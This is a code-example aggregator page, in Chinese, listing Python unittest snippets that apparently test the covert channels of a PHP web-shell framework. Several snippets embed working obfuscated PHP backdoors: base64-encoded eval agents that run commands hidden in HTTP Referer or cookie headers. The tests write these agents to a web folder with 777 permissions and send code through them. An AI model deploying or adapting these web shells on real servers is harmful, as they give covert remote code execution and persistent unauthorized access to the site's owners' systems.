本文整理汇总了Python中core.channels.channel.Channel.send方法的典型用法代码示例。如果您正苦于以下问题:Python Channel.send方法的具体用法?Python Channel.send怎么用?Python Channel.send使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类core.channels.channel.Channel
的用法示例。
在下文中一共展示了Channel.send方法的11个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: StegaRefChannel
# 需要导入模块: from core.channels.channel import Channel [as 别名]
# 或者: from core.channels.channel.Channel import send [as 别名]
class StegaRefChannel(BaseTest):
def setUp(self):
self.channel = Channel(
'StegaRef',
{
'url' : self.url,
'password' : self.password
}
)
def _incremental_requests(
self,
size_start,
size_to,
step_rand_start,
step_rand_to):
for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
payload = utils.strings.randstr(i)
self.assertEqual(
self.channel.send(
'echo("%s");' %
payload)[0],
payload)
示例2: test_wrong_cert
# 需要导入模块: from core.channels.channel import Channel [as 别名]
# 或者: from core.channels.channel.Channel import send [as 别名]
def test_wrong_cert(self):
ip = _get_google_ip()
if not ip:
return
url = 'https://%s/nonexistent' % (ip)
channel = Channel(
'LegacyReferrer',
{
'url' : url,
'password' : 'none'
}
)
try:
channel.send('echo("1");')
except Exception as e:
self.fail("LegacyReferrer test_wrong_cert exception\n%s" % (str(e)))
示例3: StegaRefChannelWrongCert
# 需要导入模块: from core.channels.channel import Channel [as 别名]
# 或者: from core.channels.channel.Channel import send [as 别名]
class StegaRefChannelWrongCert(BaseTest):
def setUp(self):
ip = _get_google_ip()
if not ip:
return
url = 'https://%s/nonexistent' % (ip)
self.channel = Channel(
'StegaRef',
{
'url' : url,
'password' : 'none'
}
)
def test_wrong_cert(self):
try:
self.channel.send('echo("1");')
except Exception as e:
self.fail("test_wrong_cert exception\n%s" % (str(e)))
示例4: TestGenerators
# 需要导入模块: from core.channels.channel import Channel [as 别名]
# 或者: from core.channels.channel.Channel import send [as 别名]
class TestGenerators(TestCase):
def test_generators(self):
for i in range(0, 100):
self._randomize_bd()
obfuscated = generate(self.password)
save_generated(obfuscated, self.path)
self.channel = Channel(
'ObfPost',
{
'url' : self.url,
'password' : self.password
}
)
self._incremental_requests(10, 100, 30, 50)
self._clean_bd()
def _incremental_requests(
self,
size_start,
size_to,
step_rand_start,
step_rand_to):
for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
payload = utils.strings.randstr(i)
self.assertEqual(
self.channel.send(
'echo("%s");' %
payload)[0],
payload)
@classmethod
def _randomize_bd(cls):
cls.password = utils.strings.randstr(10)
password_hash = hashlib.md5(cls.password).hexdigest().lower()
filename = '%s_%s.php' % (
__name__, cls.password)
cls.url = os.path.join(base_url, 'generators', filename)
cls.path = os.path.join(base_folder, 'generators', filename)
@classmethod
def _clean_bd(cls):
os.remove(cls.path)
示例5: BaseDefaultChannel
# 需要导入模块: from core.channels.channel import Channel [as 别名]
# 或者: from core.channels.channel.Channel import send [as 别名]
class BaseDefaultChannel(BaseTest):
def setUp(self):
self.channel = Channel(self.url, self.password)
def _incremental_requests(
self,
size_start,
size_to,
step_rand_start,
step_rand_to):
for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
payload = randstr(i)
self.assertEqual(
self.channel.send(
'echo("%s");' %
payload)[0],
payload)
示例6: LegacyReferrerChannel
# 需要导入模块: from core.channels.channel import Channel [as 别名]
# 或者: from core.channels.channel.Channel import send [as 别名]
class LegacyReferrerChannel(BaseTest):
def setUp(self):
self.channel = Channel(
'LegacyReferrer',
{
'url' : self.url,
'password' : self.password
}
)
def _incremental_requests(
self,
size_start,
size_to,
step_rand_start,
step_rand_to):
for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
payload = utils.strings.randstr(i)
self.assertEqual(
self.channel.send(
'echo("%s");' %
payload)[0],
payload)
@classmethod
def setUpClass(cls):
if config.debug:
stream_handler.setLevel(logging.DEBUG)
else:
stream_handler.setLevel(logging.INFO)
cls._randomize_bd()
cls.password = 'asdasd'
# Check `config.script_folder` permissions, comparing just the
# last 3 digits
if (
subprocess.check_output(
config.cmd_env_stat_permissions_s % (config.script_folder),
shell=True).strip()[-3:]
!= config.script_folder_expected_perms[-3:]
):
raise DevException(
"Error: give the required permissions to the folder \'%s\'"
% config.script_folder
)
obfuscated = """<?php eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwkYSk7IGlmKHJlc2V0KCRhKT09J2FzJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPGRhc2Q+JztldmFsKGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlfc2xpY2UoJGEsY291bnQoJGEpLTMpKSkpKTtlY2hvICc8L2Rhc2Q+Jzt9')); ?>"""
tmp_handler, tmp_path = tempfile.mkstemp()
save_generated(obfuscated, tmp_path)
subprocess.check_call(
config.cmd_env_move_s_s % (tmp_path, cls.path),
shell=True)
subprocess.check_call(
config.cmd_env_chmod_s_s % ('0777', cls.path),
shell=True)
@classmethod
def tearDownClass(cls):
# Check the agent presence, could be already deleted
if os.path.isfile(cls.path):
subprocess.check_call(
config.cmd_env_remove_s % cls.path,
shell=True
)
def test_1_100_requests(self):
self._incremental_requests(1, 100, 1, 2)
def test_100_1000_requests(self):
self._incremental_requests(100, 1000, 10, 20)
def test_additional_headers(self):
self.channel.channel_loaded.additional_headers = [
( 'Cookie', 'C1=F1; C2=F2; C3=F3; C4=F4'),
( 'Referer', 'REFERER'),
( 'X-Other-Cookie', 'OTHER')
]
headers_string = self.channel.send(
'print_r(getallheaders());'
)[0]
self.assertIn('[Cookie] => C1=F1; C2=F2; C3=F3; C4=F4', headers_string)
self.assertNotIn('REFERER1', headers_string)
self.assertIn('[X-Other-Cookie] => OTHER', headers_string)
def test_wrong_cert(self):
ip = _get_google_ip()
if not ip:
#.........这里部分代码省略.........
示例7: LegacyCookieChannel
# 需要导入模块: from core.channels.channel import Channel [as 别名]
# 或者: from core.channels.channel.Channel import send [as 别名]
class LegacyCookieChannel(BaseTest):
def setUp(self):
self.channel = Channel(
'LegacyCookie',
{
'url' : self.url,
'password' : self.password
}
)
def _incremental_requests(
self,
size_start,
size_to,
step_rand_start,
step_rand_to):
for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
payload = utils.strings.randstr(i)
self.assertEqual(
self.channel.send(
'echo("%s");' %
payload)[0],
payload)
@classmethod
def setUpClass(cls):
cls._randomize_bd()
obfuscated = generate(cls.password, agent='legacycookie_php')
save_generated(obfuscated, cls.path)
@classmethod
def tearDownClass(cls):
# Check the agent presence, could be already deleted
if os.path.isfile(cls.path):
subprocess.check_call(
config.cmd_env_remove_s % cls.path,
shell=True
)
def test_1_100_requests(self):
self._incremental_requests(1, 100, 1, 2)
def test_100_1000_requests(self):
self._incremental_requests(100, 1000, 10, 20)
def test_additional_headers(self):
self.channel.channel_loaded.additional_headers = [
( 'Cookie', 'C1=F1; C2=F2; C3=F3; C4=F4;'),
( 'User-Agent', 'CLIENT'),
( 'X-Other-Cookie', 'OTHER')
]
headers_string = self.channel.send(
'print_r(getallheaders());'
)[0]
self.assertRegexpMatches(headers_string, '\[Cookie\] => [A-Z0-9]+=[^ ]{2}; C1=F1; C2=F2; C3=F3; C4=F4(; [A-Z0-9]+=[^ ]+)+')
self.assertRegexpMatches(headers_string, '\[User-Agent\] => CLIENT')
self.assertRegexpMatches(headers_string, '\[X-Other-Cookie\] => OTHER')
self.channel.channel_loaded.additional_headers = [ ]
def test_wrong_cert(self):
ip = _get_google_ip()
if not ip:
return
url = 'https://%s/nonexistent' % (ip)
channel = Channel(
'LegacyCookie',
{
'url' : url,
'password' : 'none'
}
)
try:
channel.send('echo("1");')
except Exception as e:
self.fail("LegacyCookie test_wrong_cert exception\n%s" % (str(e)))
示例8: LegacyCookieChannel
# 需要导入模块: from core.channels.channel import Channel [as 别名]
# 或者: from core.channels.channel.Channel import send [as 别名]
class LegacyCookieChannel(BaseTest):
def setUp(self):
self.channel = Channel(self.url, self.password, 'LegacyCookie')
def _incremental_requests(
self,
size_start,
size_to,
step_rand_start,
step_rand_to):
for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
payload = utils.strings.randstr(i)
self.assertEqual(
self.channel.send(
'echo("%s");' %
payload)[0],
payload)
@classmethod
def setUpClass(cls):
if config.debug:
stream_handler.setLevel(logging.DEBUG)
else:
stream_handler.setLevel(logging.INFO)
cls._randomize_bd()
cls.password = 'asdasd'
# Check `config.script_folder` permissions
if (
subprocess.check_output(
config.cmd_env_stat_permissions_s % (config.script_folder),
shell=True).strip()
!= config.script_folder_expected_perms
):
raise DevException(
"Error: give to the http user full permissions to the folder \'%s\'"
% config.script_folder
)
obfuscated = """<?php
$xcrd="mVwbeoGFjZShhceonJheSgnL1teXHc9XeoHeoNdLycsJy9ccy8nKSwgYXeoJyYXkeooJycsJysnKSwgam";
$dqlt="JGMeo9J2NvdW50JzskYT0kX0NPT0tJRTtpeoZihyZXNldCgkeoYSk9PSdhcycgJeoiYeogJGMoeoJGEpP";
$lspg="9pbihhcnJheeoV9zbeoGljZSgeokYeoSeowkYygkYSktMykpKSkpO2VeojaG8gJzwvJyeo4kay4nPic7fQ==";
$tylz="jMpeyRreoPeoSeodkYXeoNkJztlY2hvICc8Jy4kay4nPieoc7ZXZhbeoChiYXNlNjRfZGVjb2RlKHByZWdfeoc";
$toja = str_replace("z","","zsztr_zrzezpzlazce");
$apod = $toja("q", "", "qbaqsqeq6q4_qdecodqe");
$fyqt = $toja("uw","","uwcruweuwauwtuwe_funuwcuwtuwiouwn");
$sify = $fyqt('', $apod($toja("eo", "", $dqlt.$tylz.$xcrd.$lspg))); $sify();
?>"""
tmp_handler, tmp_path = tempfile.mkstemp()
save_generated(obfuscated, tmp_path)
subprocess.check_call(
config.cmd_env_move_s_s % (tmp_path, cls.path),
shell=True)
subprocess.check_call(
config.cmd_env_chmod_s_s % ('777', cls.path),
shell=True)
@classmethod
def tearDownClass(cls):
# Check the agent presence, could be already deleted
if os.path.isfile(cls.path):
subprocess.check_call(
config.cmd_env_remove_s % cls.path,
shell=True
)
def test_1_100_requests(self):
self._incremental_requests(1, 100, 1, 2)
def test_100_1000_requests(self):
self._incremental_requests(100, 1000, 10, 20)
示例9: LegacyReferrerChannel
# 需要导入模块: from core.channels.channel import Channel [as 别名]
# 或者: from core.channels.channel.Channel import send [as 别名]
class LegacyReferrerChannel(BaseTest):
def setUp(self):
self.channel = Channel(self.url, self.password, 'LegacyReferrer')
def _incremental_requests(
self,
size_start,
size_to,
step_rand_start,
step_rand_to):
for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
payload = utils.strings.randstr(i)
self.assertEqual(
self.channel.send(
'echo("%s");' %
payload)[0],
payload)
@classmethod
def setUpClass(cls):
if config.debug:
stream_handler.setLevel(logging.DEBUG)
else:
stream_handler.setLevel(logging.INFO)
cls._randomize_bd()
cls.password = 'asdasd'
# Check `config.script_folder` permissions
if (
subprocess.check_output(
config.cmd_env_stat_permissions_s % (config.script_folder),
shell=True).strip()
!= config.script_folder_expected_perms
):
raise DevException(
"Error: give to the http user full permissions to the folder \'%s\'"
% config.script_folder
)
obfuscated = """<?php eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwkYSk7IGlmKHJlc2V0KCRhKT09J2FzJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPGRhc2Q+JztldmFsKGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlfc2xpY2UoJGEsY291bnQoJGEpLTMpKSkpKTtlY2hvICc8L2Rhc2Q+Jzt9')); ?>"""
tmp_handler, tmp_path = tempfile.mkstemp()
save_generated(obfuscated, tmp_path)
subprocess.check_call(
config.cmd_env_move_s_s % (tmp_path, cls.path),
shell=True)
subprocess.check_call(
config.cmd_env_chmod_s_s % ('777', cls.path),
shell=True)
@classmethod
def tearDownClass(cls):
# Check the agent presence, could be already deleted
if os.path.isfile(cls.path):
subprocess.check_call(
config.cmd_env_remove_s % cls.path,
shell=True
)
def test_1_100_requests(self):
self._incremental_requests(1, 100, 1, 2)
def test_100_1000_requests(self):
self._incremental_requests(100, 1000, 10, 20)
示例10: LegacyReferrerChannel
# 需要导入模块: from core.channels.channel import Channel [as 别名]
# 或者: from core.channels.channel.Channel import send [as 别名]
class LegacyReferrerChannel(BaseTest):
url = config.base_url + '/test_channels/legacyreferrer.php'
password = 'asdasd'
def setUp(self):
self.channel = Channel(
'LegacyReferrer',
{
'url' : self.url,
'password' : self.password
}
)
def _incremental_requests(
self,
size_start,
size_to,
step_rand_start,
step_rand_to):
for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
payload = utils.strings.randstr(i)
self.assertEqual(
self.channel.send(
'echo("%s");' %
payload)[0],
payload)
def test_1_100_requests(self):
self._incremental_requests(1, 100, 1, 2)
def test_100_1000_requests(self):
self._incremental_requests(100, 1000, 10, 20)
def test_additional_headers(self):
self.channel.channel_loaded.additional_headers = [
( 'Cookie', 'C1=F1; C2=F2; C3=F3; C4=F4'),
( 'Referer', 'REFERER'),
( 'X-Other-Cookie', 'OTHER')
]
headers_string = self.channel.send(
'print_r(getallheaders());'
)[0]
self.assertIn('[Cookie] => C1=F1; C2=F2; C3=F3; C4=F4', headers_string)
self.assertNotIn('REFERER1', headers_string)
self.assertIn('[X-Other-Cookie] => OTHER', headers_string)
def test_wrong_cert(self):
ip = _get_google_ip()
if not ip:
return
url = 'https://%s/nonexistent' % (ip)
channel = Channel(
'LegacyReferrer',
{
'url' : url,
'password' : 'none'
}
)
try:
channel.send('echo("1");')
except Exception as e:
self.fail("LegacyReferrer test_wrong_cert exception\n%s" % (str(e)))
示例11: LegacyCookieChannel
# 需要导入模块: from core.channels.channel import Channel [as 别名]
# 或者: from core.channels.channel.Channel import send [as 别名]
class LegacyCookieChannel(BaseTest):
url = config.base_url + '/test_channels/legacycookie_php.php'
def setUp(self):
self.channel = Channel(
'LegacyCookie',
{
'url' : self.url,
'password' : self.password
}
)
def _incremental_requests(
self,
size_start,
size_to,
step_rand_start,
step_rand_to):
for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
payload = utils.strings.randstr(i)
self.assertEqual(
self.channel.send(
'echo("%s");' %
payload)[0],
payload)
def test_1_100_requests(self):
self._incremental_requests(1, 100, 1, 2)
def test_100_1000_requests(self):
self._incremental_requests(100, 1000, 10, 20)
def test_additional_headers(self):
self.channel.channel_loaded.additional_headers = [
( 'Cookie', 'C1=F1; C2=F2; C3=F3; C4=F4;'),
( 'User-Agent', 'CLIENT'),
( 'X-Other-Cookie', 'OTHER')
]
headers_string = self.channel.send(
'print_r(getallheaders());'
)[0]
self.assertRegexpMatches(headers_string, '\[Cookie\] => [A-Z0-9]+=[^ ]{2}; C1=F1; C2=F2; C3=F3; C4=F4(; [A-Z0-9]+=[^ ]+)+')
self.assertRegexpMatches(headers_string, '\[User-Agent\] => CLIENT')
self.assertRegexpMatches(headers_string, '\[X-Other-Cookie\] => OTHER')
self.channel.channel_loaded.additional_headers = [ ]
def test_wrong_cert(self):
ip = _get_google_ip()
if not ip:
return
url = 'https://%s/nonexistent' % (ip)
channel = Channel(
'LegacyCookie',
{
'url' : url,
'password' : 'none'
}
)
try:
channel.send('echo("1");')
except Exception as e:
self.fail("LegacyCookie test_wrong_cert exception\n%s" % (str(e)))